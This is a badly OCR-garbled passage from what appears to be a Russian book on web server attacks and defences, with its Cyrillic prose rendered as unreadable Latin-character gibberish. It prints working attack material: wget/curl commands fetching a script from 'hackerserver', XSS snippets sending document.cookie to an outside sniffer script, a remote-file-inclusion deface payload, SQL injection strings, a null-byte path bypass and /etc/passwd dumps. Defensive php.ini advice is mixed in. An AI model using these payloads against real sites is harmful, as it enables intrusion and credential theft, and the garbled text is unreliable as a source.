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Puc. 5.2. B arpoke URL goBasnero "and 1=

Jns MAMOCTpaLME BOIMOXHOCTH PEalin3auun aTaku Ha ator Web-calit 2 Ha ceo-
eM nokansHom Web-cepsepe cosaam knaceuyeckuit PHP-cuenapuii 1 nokaxy, Kak
MOXHO HCTIONb30BaTh OWHMGKY, KOTOPYIO JOMYCTHIIH Pa3paGoTHHKH.

5.2, Owndka

Hrak, nasaiite paccmoTpum ataky "SQL-unbexuns” Ha npumepe. Kak s yxe cka-
‘WuI, & Hanuwy HeGOoNbLIIOR cuenapuii (actunr 5.1), kotopwii GyaeT coaepxarb
OUKGKY, ¥ MBI TOCMOTPHM, KaK 3TOYMBILICHHHK CMOXET €10 BOCNO/Ib30BATECA,

1106X0AMMO 3aMETHTB, 4TO B HEKOTOPBIX MECTAX R HAPOUHO Gyny AeNaTh HO3HA-
uHresblble OMUGKK. DTH OWUGKK MOTYT GbiITh HE3aMeTHLI Ha nepsbiél BINAA M
HEOBXOUMMEL AN TOPO, YTOGLL HEOMBITHLIE MONB3OBATEAN HE CMOLIH BOCRONL3IO-
e MHGOpMaLmed, ONKUCEIBAEMON B KHHIe ANA COBEPLICHKA BIIoMA. OnbITHbIA
1I0JILIOBATENAS TAIOKS MOKET HE 3aMeTUTb OwmMGKy (1anpumep, OTCYTCTBHO TAS-TO
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4.3.5. Yrpo3sa 6e3onacHocTn

Tlonyuus nOCTYN K BBINONHEHUIO KOMAHI, XaKeP MOXKET 3aXOTeTh CAENaTh CBOIO
KH3HBb yaoGuee u npekpacuee. PaGoratt ¢ OC yepes ya3BHMOCTS HE BCeraa ynob-
0, MOJTOMY JIYHille HANMCATL KAKOH-HUGYAL CLIGHAPHA M 3aKauaTh €TO HA BINA-
mblBacMbiii Web-cepsep. A kak 3akauath? Ecii nepen Bamu Web-cepsep ¢ ycTa-
Hossrennoli OC w3 cemetictsa UNIX, To0 MOXHO BOCHONB3OBATECA ONMHOH W3
CTEAYIOLMX KOMANL: 1ynx, wget, curl HAK fetch.

Jlasaiite paccMoTpuM 3arpy3ky daiina xa npumepe. HomycTuM, 4To Xakep Hami-
can cueHapuii v sarpyanst ero va Web-cepaep. [onueiii myTs k gaiiny yner cre-
ayromam: http://hackerserver/hack.php. 3arpyxate ere Synem Bo BpeMeHHYIO
AMPEKTOPHIO, Ky/a paspelieH AOCTYN, a Tounee B (afin /tmp/hack.php, Buimonuu-
TE OAHY M3 CAEAYIOLINX KOMAHA:

Iynx -source "http://hackerserver/hack.php'> > /tmp/hack.php

wget -0 /tmp/hack.php http://hackerserver/hack.php

curl --cutput /tmp/hack.php http://hackerserver/hack.php

fetch -o /tmp/hack.php http://hackerserver/hack.php

Takum 06pazoM, Xakepss 3arpy’aloT HE TOABKO CUEHAPHK, ACRONBIYEMBIE [iA
coficTeenHOro YROGCTBA, HO ¥ OMPENENEHHbIE POTPAMMBL, KOTOPbIE HEOOXOMUMBI
Ans anoma. Hanpumep, ecii XaKep XOueT NOAHATh CBOM MPasa A0 aAMHHHCTpa-
TOPa, TO OH MOXET 3arpy3uTh IKCIUTOMT, KOTOPHIH GYNeT HCronL308aTh HaleH-
HYIO YS3BMMOCTb 4715l AONYHeHus HeobxoauMblx ripas. KoHeuHo, ecny y Bac ycta-
HoBNEHL BCe OBHOBNEHHA, To TOT TPk He ymactcs. Torna Xakep MOXeT
3arpy3dTh CBOU [POTPAMME N8 BBINONHEHUA HEOOX0AMMBIX AEHCTBMH, HAmpH-
Mep, ANA PACcCHINKW CTiamMa, CKaHUPOBaHMs ceTeil, Wi wcnons3osath sam Web-
cepBep AiA B3NOMA APYTHX.

BO3MOXHOCTb 3arpy3ky (ainoB onacHa, v eIMHCTBEHHBIH CNOCOO 3aLUMTHTLCA: He
YCTaHAB/IMBATH TIPOFPAMMbI, KOTOPKIE MOTYT BBINONHATHCA M3 KOMAHAHON CTPOKK
# ckaumBaTh haknst 3 Hrrtepuera. Mporpammy ¢ BusyansHeiM uHTephelicom ue-
pe3 Gpayep 3anyCTHTL HENb3A, TIOITOMY f H JeNaio aKUeHT Ha YTHAMTE KOMaHA-
HOJT CTPOKH.

4.4, dyHkumA eval

DyHKIMA eval MONY4AET B KAUECTBE NAPAMETPa CTPOKOBKIH [TAPAMETP U BLION-
1S€T €ro KOA, KaK oTAeAbHbIft cuenapuit. Hanpumep, cheqyiolas KomaHaa Bbl-
HONHHT ByHKUMIO print Ang oToGpaxerns Ha Web-cTpanule yKazsaHHOTO TeKCTa:
coval {print ("<Hl>cooGwenne</H1>"}) ;

Jla, JaHHBIHA KOJI HE MOXKET TOKA3aTh BCIO MOMb (GYNKUHH, NOITOMY HOCMOTPHM
Hd CONEPARUMOC ncTHnTa 4.5,
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aAMMHUCTPHPOBAHUSA, MOTYT GbITL CKDBITHI -OT NOCTOpoHnero earnsna. Ho ecan
XAKEP CMOXKET Y3HAaTh 3TH CCBUTKHM W OBPATHTLCA K HHM HAampaMyIo, TO €CAU NpH
BBI30BE 3THX (YHKUMH HET ayTeHTHQUKAUMH, TO XAKEP NOAYYHT CKPHITBIC BO3-
MOXHOCTH,

Tlepen BRImORHEHHeM KaXROH ONEPALMM Bbi ROMKHLI (IPOBEPATD, 8 PAsPELICHO X
370 NENaTh NONB3OBATENI0, KOTOPLIH 3aNpaIHBAET ONEPALUIO.

3.6. Nposepka
KOPPEKTHOCTU NapamMeTpoB

Ouent MirTepecHbifl BapuaHT NPOBEPKH NApaMeTpoB s BUACH B OXHOM U3 Gecnmat-
HO pacnpocTpansembix Fporpamm. B caMom Hauane Kanoro CUEHAPHs BhI3bIBA~
nack GyHKUME, KOTOpas NpoBepsna afCcoNoTHO Bee napaMetpyl. Kax 310 peanuso- |
BaTh? JIng Hauana nocMOTpHM HA (YHKUMIO, HA30BEM €€ universaladdslashes
{nucTunr 3.12), xotopas GyaeT MpoM3BOAWTE NPOBEPKY OTAENLHORO rapametpa,
2 IOTOM TIOCMOTPHM, KaK € MOHO NO/Ib30BATECA.

function universaladdslashes ($var)
{
if (is_array($var))
{
// Ecmu nepemerHaa ABNAGTCA MACCUBOM. . .

$outvar = array():

foreach ($var as $k => $v)
$outvar[$k] = universaladdslashes(Sv);

return $outvar;

1

else

(
// Ecnu nepeMesitas npocTOro Tuila
return addslashes ($var);

}

}

Cexper iyHKIMH 10CTATOMHO MPOCT: OHA NONYHACT B KAYECTBE MApaMETpa nepe~
MEHHYIO U 1ipOBEpAET, ABNSETCA I OHA MaCCHBOM, €CNHM 3, TO TIPOBLRAIOTCA BCY
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Ha 3T0T pas Ms! BbIIONHSEM KOMAHAY cat fetc/passwd, KoTopas oToGpaxaer
daitn maponeit /etc/passwd. OBparaTe BHHMaHHC, 4TO BMECTO npobena B cTpoxe
URL HysHo ykazats %09 (puc. 3.6).

Puc. 3.8, PeaynsTar npocMoTpa coaepxmmoro dhadna naponei

daiin naponedi HMeeT OYeHs BAXKHOE 3HaueHue. B manuoMm ciywae, ecnu nponnc-
TaTh PE3Y/LTAT B CAMbBLA HU3, TO BbI YBHAUTE OucHS GONLLIOH CIHCOK MOALIOBATE-
neii. YacTb 31010 Cnycka NpHBEAEHA HIXE!

&: /hsphere/local /home/gedde/ntnu. gedde . no/archive_in: /nonexistent
bildel:*:1335:1335: User
&: /hsphere/local/home/gedde/ntnu. gedde . no/archive_in: /nonexistent
coocey:*:1191:1181:User

&:/hsphere/local/home/neoblaze/cooey.necblaze.net: /nonexistent
piott:*;1375:1375:User
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COXpaHaTh HagHble, KOTOphle B Aanbhefimem GyayT orTobpaxateca Ha Web-
cTpaHnLe. Spkum mpumepom Takoro Web-caltra amnserca dopyM. Jasakire pac-
CMOTpUM npocTefiiuii NPUMep MCMOAb30BaHWA yassuMocTH. B smcraare 10.1
OPUBELEH KON CLEHApHs, KOTOPEIH oTOGpPaXKaeT opMy ANA BBOJA HMEHH TONE30-
BaTens U TekcTa cooGwenud. [Tonyuennbie AaHHBIE COXPAHAIOTCA B 6ase NaHHBIX
u oro6paxarorcs ha Web-ctpanune. IostyuaeTcs knaccHyeckas rocresas KHura,

<HTML>

<HEAD>

<TITLE>XSS test</TITLE>

</MEAD> .

<BODY>

<center><h3>XS$ Lest</h3></center>

<hr> .
<form name="messageadd” action="xss.php” method="get">
Vwa: <input name="username” size=50>

<BR>CooBuenne: <textarea cols="65" name="message” rows="10"
wrap="virtual*></textarea>

<ER><center><input type="sukmit® value="Send"></center>
</ form>

<hr>
<?
/{ Coemmuenne c Gasoft paHHEX
mysql_connect ("localhost", "root", "test"}
or die {"He Mory nomwmumMreCA K Web-cepeepy”

/7 BuGop Gaza pammux
mysql_select_db{*minib")
or die ("He MOTY EBWOpaTh 0asy RaHHAK");

/{ NoBarssiem cooClieHne
if (isset(S_GET[‘username'l))
{

$username=$_GET [’ username '] ;

$message=$_GET('message’ ] ;

$result=mysql_cuery{"INSERT INTO minibbtable_posts VALUES(NULL, 1, 1. 1,
‘$username’, 'Smessage', 1, 1, 1)°);
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2. Hcnonb3osaTe TyHHeNMpoBaHue., OTo sake Gonee NpEeANOYTHTENbHBIN Bapu-
@HT, MOTOMY YTO MENUTY CEPBEPOM H KNHWEHTOM JaHHble GyayT mepenasatbes
B 3aWMPPOBAHHOM BHIE,

Moxno ucnonbiosats 06a sapHanTa. [[19 aEMHHHCTPATOPOB, KOTOPBIE HAXOAATCA
BHYTPH OIHOWM CETH C CepBepOM, MOXHO MCTIONBIOBATH OTKPLITOE COeAHHeHHe
H OrpaHH4MBATL NpaBa 10CTyna uepes ceteroii Skpa. Jind ynaneHHbIX no/b30BaTe-
nedi, KOTOpble NOMAKIIIONAIOTCA Yepes MHTepHET no OTKPBITBIM KAHANAM, MOMKHO
WCNOABL30BATh TYHHENb.

1.12. CnoxHble naponu

I'naBHoe NpaBMIO agMMHWCTPATOpa: CAOXHbIE NAaponi HUKTO He ormeHan. OHu
nomiubL GbiTh Beaae, ocoGerHo Ha gocryn k OC n CYBJL. Ecnn xakep He cMoxeT
GBICTPO NPOHUKHYTL Ha CepBep Yepe3s CLEHAPHH, OH MOMbIT2ETCA OCYLIECTBHTD
B37IOM HpOCTHIM nepeGopom naponeii.

1.13. He Bce Tak 6e3HagexHo

OToT 0630p XaKepCKHX aTak He MPEeTEHIYeT Ha NONHOTY A&XKE ¢ TOUKH 3peHHs
B3/IOMAa UMEHHO Web-cepaepa, HO A riocTapancd JaTh BCE HeOsXQﬂHMbIB Havyanb-
Hble CBEAEHHA. B 10 xe BpEeMA A BO3ACPKANCA OT KOHKPETHbIX PELENTOB, NOTOMY
YTC 3TC MOXET GbiTb BOCHPHHATO, Kak NpPU3LIB K [leﬁCTBH}O, 2 A He CTaBmo ceoelt
1esibi0 yBENTUYUTD KONHHECTBO XaKepos. leelOCb, HTO 3TOT 063DP NOMOXET BaM
Gonbine Y3HaTb O B3/IOME H CAeNaTh COsCTBCHHyK! WH3Hb GezonacHee.,

B OCHOBHOM MBI paccMaTpHBanK TeopHto. JUs peanu3auMd Ha npakTHke BCEro
BBILIECKA3AHHOrO HY)KHbI CHIEUHANIH3UPOBRHHBIE NPOrPaMMBI, H JUTA ONPEENEH-
HBIX 33124 MX NPHAETCH NUCATH CAMOCTOATENBHO,

TTouemMy Xakepsl oueHb YacTo ierko a06uBatoTea uenu? A 3TOro ecTh HECKONb-
KO [pHYMH:

1. OtkpuiTocTs ceTeBoro Tpadmka. [lo yMomuaHWio nakeTsl, nepesiaBaeMble no
CeTH, He LHGPYIOTCA H IErKO MOTYT GbITh NPOUNTaHbI.

2. Hanuune oumbok 8 OC 1 nporpamMmHom ofecnieueHrH, HCNORB3YEMOM Ha cep-
Bepe, a rNTABHO¢ — HECBOEBPEMEHHOE HX ofHoBnerHe.

3. CnoxHocTb OpraHH3aLHH 32URHTBE MEXKIY PaSHOPOAHEIMH CETAMH.
4. Ownbkn konpurypuposatns OC, cepBepHbEX NPOrpaMM H CPESICTB 3ALLKTLL.

5. HeBO3MOXHOCT 3allMThi H GeccuniHe CepeepoB NMPOTHB T2KOH aTakH, Kak
DDoS. Ha aaHHbifl MOMENT 3aLIMIRAIOTCA TEM, 4TO YCTAHABIHWBAIOT CEpBEpPbI
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paloTca Ha cooTBercteue. Ecnu nupexTHBEl safe_mode W safe_mode.gid
OTKIOUCHbI, TO HUKAKOH NPOBEPKK HE poucxonuT. Paiin Synet oTKphIT, eCn
¥ NONB30BATENSA AOCTATOHHO TIPas;

O safe_mode_exec_dir — 3Ta NWPEKTHBA 3a4aeT AMPEKTOPHH, COACPKALUHE
npOrpaMMEl, KOTOpbie MOTYT GbiTh BHIMONHEHbl. TOABKO MPOrpaMMbl M3
3TUX AMPEKTOPHI MOTYT BBITIONHATL TakHe PYHKIUMM, KAK system(}, exec(}
HT. A,

O safe_mode_allowed_env_vars — 3Ta JIMPEKTHBA CONSPXHT CIUCOK npeduk-
COB TIEPEMEHHBIX OKDPYXXEHHS, KOTOpbIE MOTYT H3MeHAThed. Tlo ymonuanuio
MIMEHEHMIO TIOAMIEXKAT TONBKO NEPEMEHHBIC OKPYXEHHS, MMEH3 KOTODhIX Ha-
4uHAIoTCA ¢ nipedukca PHP_. Ec/ik HHPEKTUBY 0CTaBHTE MycToH, TO MOXHO By-
DET UIMEHATH BCE NEPEMEHHDIC;

O safe_mode_protected_env.vars — 3Ta NUPEKTUBA CONEMKHT CIIUCOK mpe-
(hUKCOB UMEH MEPEMEHHLIX OKPYIKEHHUS, KOTOPbIE ABHO 3anpeLleHbl K H3MeHe-
HUI0 B 3awuwendoM pexume. [lo  yMmomuasmio  QupekTdBa  paBHa
LD_LIBRARY_PATH, Ecsii Bb Paspeiluny HIMEHCHHE BCEX MEPEMEHHDIX, HO AU
PEKTHBA paBHA PHP_, TO BCE [IEPEMEHHEIC OKPYXKEHUA ¢ IpedhukcoM PHE_ CyayT
HEJOCTYIIHD! 1A PEAKTHPOBAHHUS.

C noMOIUBIO NUPEKTHBLI disable_functions MOMXHO 3ANPETUTh BEIIONHEHHE OM-
peneneHHbIX GYHKUMH. S| HACTOATENLHO PEKOMEHAYIO 3anpeTUTE (YHKLMH BRI
nosxenns koMaia OC (system(), exec (}, passthru(), shell_exec(}, popen(}),
KOTOPbIE BbI HE HCIONbIYETE.

PHP-ciesapyu o3BoASIOT OTKPLIBATH Gaiifibl HA YAANEHHOM KOMObIOTEpE (Yepes
FTP- uny HTTP-coeguuenue). Ecan upextusa allow_url_open Bimouesa (on),
3Ta BOIMOXHOCTE HOCTYTHA. Ec/ik Bbl HE HCTIONb3YeTe YAANCHHBIE KOMIBIOTEPH,
TO CNEAYET YCTARHOBHTE IMPEKTUBE allow_url_open 3HaueHue of f. Besomacnoctn
Web-cepsepy 370 He npubasuT, HO, N0 KpaiiHeR Mepe, cnoxuee GyaeT UCnonL30-
BaTh €r0 B KA4eCTBe 30MOW. MHLIMM CHOBaMM, NaXe eC/i Xakep BINOMAeT Bam
Web-cepsep, OH He CMOXET BBIIOHATE ONPEAC/NEHHbIE CLEHAPUM JUIA TpoBefie~
HYs aTAK HA IpyTHe.

Koneuno, 3awyra ¢ MomoLublo allow_url_open Mano3pQeKTHBHA, IOTOMY HTO
ecim Baw Web-cepsep B3noMaH, TO Xakep CMOXKET NIOANPABUTL STOT napameTp
WM HalTK ApYro# cnocod nposegenus ataku.

PaBoTa ¢ dafinamu Beerna onacHa. Ecniv g Batiem CleHapUu UCNONBIyeTca dyHK-
1A fopen(), U XaKep CMOr IlepeaTs el ¢aiin /etc/passwd, To CIHCOK NOAEIOBA~
Teneit cucTembl cTaHoBUTES O6WEROCTYHEM. UToGE 06e3onacuTs cebs or Takol
ownbka, B kondurypaunorHom daiine php.ini 8 1pexTuse open_bassdir NyXio
NEPEHHCNUTE YCPE3 BOCTOMHE PA3PCINCHHBIE JUIA OTKPBITHA ITyTH.
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B artoM npuMepe datiny sniff.php nepenaerca cosepkumoe HEBUAMMOrO NoNA.
Teneps B daiine snif.txt xakep Gyaet cobupars naponn A0GpONOPAACYHBIX NOML-
30BaTeneH, ¥ BOIMOKHO, YTO HE YAOUKY HONazeTcs K AAMUHUCTPETOP.

Ho sepostHocTb HalTH FOKOGHBIA cueHapHii CTpemMHTCH K Hymo. HamHoro uawme
naponu xpasstes 8 Cookies. Ho n ux ykpacts He npoGnema. JoctaTouso Tonbko
BHeNpUTH Ha Gopmy creaytoumil Koa:
<script>
document . location.href="http://192.168.1.5/sniff.php?"+
document . cookie;

</script>
Bnaronaps ToMy, 4to JavaScript umeer noctyn k Cookies, Mbl Gez mpoGnem mo-
JKEM OTOPEABMTL MX CBOEMY CLCHapuio, JIOMycTHM, YTO B CAMOM HAuane Hailero
cuenapus B Cookies yCTaHABIMBAIOTCA CEAYIOWME BA SHAYCHNS:
<?

setcookie (“user”. "admin®, time()+5184000};

setcockie ("pass”, "gqwerty*, time()+5184000);
>
Tenepb nocsie UX nepexsara B (aine snif.txt Mbl yBUAUM crreayromee:
/sniff.php?user=admin;$20pass=qwerty
Bot Tax BOT Xakepsl ¢ moMompio XSS sopytoT naponn. EauscTeennbit nenocta-
TOK BCEX NPUMEPOB, KOTOPHIE OMTUCAHB! BHIILE, — OHM NEPEHANPARIAIOT NOMBIO-
Batens Ha Web-cTpanniyy xakepa. OTO He O4eHb XOPOLIO, IOTOMY TO TI0/Ib30Ba-
Teb MOXKET 32N0RO3PUTH YTO-TO HenaaHoe. Ho xakepss Hauumi Gonee HezameTHbLH
cnocof:
<script>
img = new Image();
img.src = "htrp://192.168.1.5/sniff.php?"+

Jocument . cookie;
</script>
Cekper 1IpocT — Mbl TIPOCTO co3naem M3obpakeHne M MPHCBAMBACM EMY B Kaue-
cTBe aapeca Haiui cuenapiii. Jla, 570 HENpPasUnbHO, BEAb CLIGHADUA He SBAfeTCA
u306paxkeHHeM, HO 3TOT Meron paGoTaet. IIpH KeNaHHU HaKe MOXHO nepeumMe-
HosaTs gaitn sniff.php s sniff.gif, ot aroro Huuero ue uamMennTea.

Teneps y xakepa ecTb uMa ¥ Xelll maposid. Eciv Ha Web-caiite paspeinen asToMa-
THsieckuit BXOK, TO HeT HeobxonMMocTH naxe noabupats napons. [Ieno 8 ToM, 410
XaKep MOXeT npocTo noamenuth csou Cookies nepexsaueHHblMM W 3aliTH Ha
Web-cait 6es xakoi-nwGo aBTopusauun. BoT Tak BOT mpocTe M KPacHBo xakep
MOKET OCYUIeCTBUTE BIIOM.
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»
Yro ewte onacHOro MOKET caefaTk Xakep? C MOMOLIBIO CREAYIOLEro KOAa Xakep
MOXET TpousBecTh aedeitc (oamena cofepxxumore Web-cTpanuus!):
<2

print(system(“echo '<Hl>Hacked</Hl>' > index.html*});

7>

Coxpanaem 3ToT xox 8 ¢aiine deface.php u eeinonnsem cremytowmit URL:
http://192.168.1.5/param.php?file=http://www.hacker_website.com/deface.php.
B ¢aitne deface.php Bbinonuserca cnemyrowas koManza:

echo '<H1>Hacked</H1>' > index.html

B pesyaurare ¢aiin index.html 6ymer nepesanucan crpokofi "<HI[>Hacked</HI>".
Ecnu index.html aensercs rnastioit Web-crpanuueit Web-caifra, 1o nipu sxoae Ha
‘Web-caliT nonesosarens ysuauT Haamucs "Hacked” Gonbiuimuy Gyksamu.

3.2. Knaccuka xanpa: phpBB

Qopym phpBB onun U3 cameix pacnpocTpanensiix 8 Hutepuere, notomy uro of-
napaet GONbIIMM KOAHYECTBOM BO3MONKHOCTER M npy 3TOM abcomoTno Gecnnar-
Heiif. Ho Takas Gonbluas pacripocTpaHEHHOCTh ABMAETCA M CAMBIM CEPBEIHBIM He-
JIOCTATKOM. ,E(enc B TOM, YTO HMEHHO TakKue OpOTrpaMMbi IIONAJAKOT noa
TIPMCTAIBHOE BHUMaHKE XAKEPOB, Bellb €CAH HAHTH B Hel ommbky, To MOXHO Gy~
neT s3nomatk Gonbiloe komauectso Web-cepsepos. Mmento noatomy Windows
aTaKylOT Halue, YeM Apyrve, MeHee pacripocTpatentblie OC.

Dopym phpBB araxytor moctatouno wacto. Tnana ma kon cucHapues Qopyma,
KOTOPIH AOCTYNeH LMPOKOH OOIECTBEHHOCTH, MOHAMaEIlh, YT ero paspabarel-
BaNK OIBITHBIE TPOTPAMMYCTEI, HO Y OHM He 3acTpaxosaHbl or owmbok. Tak,
B Bepcuun 2.0.10 Gbira Haiilena KpUTWuecKas yS3BUMOCTh, KOTOPOH MoxeT
BOCTIONb30BATHEA NOGOH Xakep.

Korzia s FIHCas 5TH CTPOKH, TO 3TOH YA3BMMOCTH UCIIONHUIOCH Y)KE TIOATOpA roaa
(BriepBute 0 Hell yensiwany s HoaGpe 2004 r.), Ho, HeCMOTPA Ha 3TO, ¢ NOMOMIBIO
MOUCKOBOH CHCTEMBI A CMOT OdeHb NETKO HalTy ya3siMbli Web-caiir. ocTatouHo
B Yahoo unn Google nabpath 8 cTpoke noucka “phpBB 2.0.10" u npocMoTpeTs
pe3ynbTaT novcka rae-To Ha |00-oi cTpanvue.

MOKHO HARTH Y yxe B3oManHbie Web-caiiTut {puc. 3.4). B nanHom ciyvae B 3a-
ronoske dopyma kpacyercs naanuce "HACKED BY NUTTER4". Xaxep ssHo
YnHuTOXRUI GopyM, a Bnanenen Web-caiita obuaencs v He CTal BOCCTAHABAWBATH
Outy nauubIX. BoT Tak 8ot Web-caliT ¥ BACUT BO BITOMAHHOM COCTORHUM.

Wrax, naraiite nOCMOTPHM, Ha M OCHOBAHA YA3BHMOCTH, ¥ YBHIHM, Kak JICrko of
BOCHONL3I0BATLCS. [1a 5TOro 4 HallesT OHH HE oveHb Monyispnbii GopyM U BbIION-
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Teneps yxe TOMMMO BBIONHeHUS (PYHKUMM addslashes BRIDOTHAETCH M GyHK-
LM htmlspecialchars. Huorna Moxer noTpe6osarbes MpoBepka HEKOTOPBIX ma-
PAMETPOB M0 OTHAE/ILHOMY &ITOPUTMY, MOITOMY 3TOT YHABCpCanbubilt MeTox He
MOXET ABNATLCA TamaueeH oT Beex Gen. Ho MoxeT cayxuth onpeaenenHoi
HauanbHoit 6a3oi.

3.7. Npo6nema perynsipHbixX BbipaxXeHWUH

B GoABIIMHCTBE KHUT Bbl MOJXKETE BCTPCTHTH npe;ulo)xéﬂm HMCNOAb308aThL pery-
JAPHBIE BBIDAXKEHHA ANA NPOBEPKH TOFO, YTO NEPEAAHHLIC AAHHBIE KOPPEKTHHL.
Ornuunoe pellienne, 3 caMm HCMOAb3ylo 3TOT Metoa. Ho Xouercs sac mpenymnpe-
ZIUTh O CASAYIOLMX HIORHCAX:

) NpA HANHCAHHK PEry/APHLIX BLIDAKSHHH OUEHb NETKO OWMGUTLCA, MOTOMY
9T0 WX HANMCAHWE — 3AHATHE HE M3 APOCTHIX. [10 PErynapHLM BhIpaXEHHUIM
MOXHO TTHCATh LEMbIE KHUIM U TYT CTONBKO HIOAHCOR, YTO Masieliliad oinbka
MOXET IPUBECTH K TOMY, ¥TO BhIpaxeue GyaeT paboTaTh He KOPPEKTHO,

a TIpoBEpPKA AAHHBIX HA COOTBETCTBHE wabnonam — XOpOLUO, HO JaNeKo He ‘Bee-
TA2 rapaHTUpPYyeT, YTO AaHHLIE 6y)1yT COOTBETCTBOBATEL H.IBs!IOHy, NeTOMY 4TO
MoxeT GuiTh Masedka, Grarogaps KOTOpo# peryiapHoe Buipaxenue MoxHO Gy-
Aer ofmanyTs. Jlomyctum, waGmoH nposepaet, utoObl mepenasaemoe UMs
daiina umeno dopmar fileXXX.txt, rae XXX — uma daiina, 1o oueHs sierko
ofxoauTca ¢ MOMOWBI HysmeBoro Galira. JlocTaTouHO mepenats WMa:
Jetc/passwd%00fileXXX.txt. Bripaxenue Gyner coorsercTsoBaTh WaGiony,
TIPOMMCAHHOMY B CLEHAPHH, HO YKa3biBaThL Ha Wvs (aiina /etc/passwd.

Jabbt yMEHBLIMTE BEPOATHOCTL OLIMGKH, AyUille HCIIONBIOBATD MAKCHMANBLHO PO~
CTBIE U MAKCHMAIILHO XKECTKHE abAoHbL. )lml 3TOTO HYKHO NONy4aTs OT NoJbL3oBa-
TeJIA TOABKO MpoCTbie aaHHbie. Hampumep, eciiu nosb3osatess JOMKeH NepeaaBath
JNAHHBIC TOALKQ M3 YWCEN, TO HET CMbLICHA BbIAYMBIBATL PEryispHOe BbIpa)keHHe,
koTopoe onuiter wabnow. [1pocTo BuipesaeM Bce, Kpome UMD, U MOKeM GbITh yBe-
PEeHHBIMH, YTO HY KAKWX ONAacHBIX CHMBOJIOR B nepeueuuoﬁ He OCTanoch.

3.8. PerynsapHble BbipaxeHus Perl

B PHP ecTb noanepxka OsyX BapHaHTOB peryaspHbiX Bolpaxenwit: PHP u Perl.
BOALLIMHCTBO MPOrpaMMUCTOB JIOGAT HCMONB3OBATL MMEHHO BTODOI BapuaHT,
¥ 2 He UCKIIIOUeHHE. YK CIMIIKOM OHU YAOGHRIE i MOLLHbIE, HO NPH HCAONLIOBA~
Hiv QYHKUHH preg_replace €lie M O4eHb OmacHsie. PerynspHeie BhIpakeHUs
MMEIOT CACAYIOW i BUA:

/cTpoxa/
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O6patiTe BHUMAHKE HA OAMHADHYIO KABEIKY B konue. OHa MIHAA U U3-3a Hee
CVB] ve cmoxeT sbinonwnts SQL-3anpoc. Baarosaps KOMMEHTAapHIO MBI MOXEM
OTGPOCHTE 3Ty TOHKY:

SELECT *

FROM smf_polls

WHERE posterName='' union SELECT null /* *

3anpoc Moxer GbITh K Gonee CROKHBIM:

SELECT *

FROM smf_polls

WHERE posterName='Susername’

and field2=‘$param’

ORDER BY pogterName

LIMIT 0, 25

TyT yxe 10ci€ MEPEMEHHOR $username €MIE OYEHb MHOFO OMEPATOPOB M OHH
TaKKe MPEACTABAAIOT ANA Hac npobnemy. CHMBON KOMMEHTApUs ro3sonseT OF-
Gpocurs 31y acTk SQL-3ampoca.

Bce npuMepbl, KOTOPbe Mbi PACCMATPHBAIM BBILLE, TIOAPABYMEBAIOT, HTO Mepe-
MeHHas, B KOTOPYIO Mbl Brsirounnu SQL-3anpoc, angerca cTpokosoid. B sanpocax
TIEPEMEHHYIO TaKOro THIa HeOOXOAUMO 3KIIOUATD B OAUHAPHBIE KaBbiYkH. Ecau
TNIEPEMEeHHAA HOXKHA GbITh ‘lHCﬂOBOﬁ, TO €€ 3aKIOYEHHE B ONHHApHbBIE KaBBbIYKH
He sBnsercs o6s3aTenbHbIM. HBI’IPHMCp:

SELECT *

FROM smf_polls

WHERE ID_POLL=Spollid

B JNaHHOM Chy4ae nepemMeHHas $pollid HE 3aKNKOMAETCA B KaBbIMKH, 3 3HAYHT,
KaBLIUKY HE HYXXHO NEpenaBaTs B KauyecTse napamerpa. JIocTaTouHo IpocTo nepe-
nath BeTaBky SQL-3anpoca B kadecTee napaMeTpa.

Tomumo cTanpaptHbix SQL-2anpocos SELECT, kaxaas CYB]I noanepkusaeT cBoM
PACIIUPEHHS, € NOMOLIBIO KOTOPBIX MOXKHO NOYHKTS TOAPOGHYIO HEGopMamio o6
ofbekTax Gaser Aambix. [lodke Mbl MoroBopuM o nroascax cGopa uHdopMauuy
B Microsoft SQL Server, a B o1oii rnaee Mef rosopum o ceszke PHP + MySQL,
2 sHauuT, paccmarpusaem umento MySQL.

Haunewm ¢ onepatopa SHOW. OH HMEET HECKONBKO BAPHAHTOB W MEPBBI H3 HHX,
KOTOPBIH MbI paccMOTpuM, SyneT oToGpaxars gocTymHeie Gasbr Aaaubix. Jing 10~
o HEOBXOANMO BBIFIOIHWTL ONEPATOp SHOW DATABASES. B pesynntare wa skpaHe
GynyT oTobpaxkeHbl HmeloLnueca 6a3bl RAHHBIX:

| Databage |
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Puc. 6.2. CooGuietne 06 ownbke

Torza s nonpoGoean HabpaTk B cTpoke noucka Teket: "Test' and 1=1--". Ha ator
pa3 3anpoc GbiNl BBITIOIHEH YAAYHO, 3TO YIKE TOBOPHIIO O BOIMONKHOCTH HAIHUNA
ownbKH, KOTOpast MOXKET NprBecTH K SQL-HHbeKuHK. TYT HEOGXOAUMO 3aMETHT,
yto ecnu ans MySQL nawano xkomMenTapua 3o ", to ana MS SQL aro asa
cumBona Tupe "--". 5 BBEN cneMyrOLUME 3ATIPOCHL:

Test' and 1=0--

Test' union select null--

CooBmernsa, ONyUEHHBIE B OTBET, YKA3BIBANY HA TO, YTO OLMOKA JCHCTBHTENLHO
ecTh. 51 yxe Ha4an NNaHupoBaTh, uTOObE Takoe CAenath, 4TOGHI POUIIIOCTPHPO-
BATbL BaM BO3MOXHOCTH BanoMa cBasku ASP + MS SQL Server, HO BuaHO ayman
cnamkom gonro. Yepes nats mumyT B 0TBeT Ha Mon SQL-3anpock A yxe suaen
cooBlienne o HapylieHud GezomacHocTH (puc. 6.3). JlioGas nonbITKa MepeaaTh
QJIMHAPHYIO KaBLIMKY NMPUBOAMAA K OIHOKE W 3ampoc “test”™, KoTopsif panbuie
JaBan MHE HaZOKAY, HH K ueMy Gonbine He npusoan.

AJIMWHACTPATOPLI HE TONBKO YCMENM BBIMMCAHTL MOH MONBITKM BWIOMA, HO
11 TEHENME 5 MUHYT WenpaBHTE olunbky. Bot o ckopocts, Jlake et cMmCHR
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KOTOpblE 3aCHINAIOT CepBep, TO B CyMMe OHHM MOTYT NpPEBbICHTL BO3ZMOXHOCTH
KPYNHOrO CepBEpPA M TOT NEPECTAHET OTBEYATH.

Marno KTo 13 nons3osatenei nOGPOBOALHO OTAACT MOUIHOCTE CBOETC KOMTIBIOTEp2
ZNA NPOBENEHWA PachpeleNeHHON aTaki Ha KPYMHhle cepaephl. UToGm pewmuTs
a1y npofnemy, Xakepbl NHUIYT BAPYChI, KOTOpsIe Ge3 paspelIeHns 3aHMMaioTe
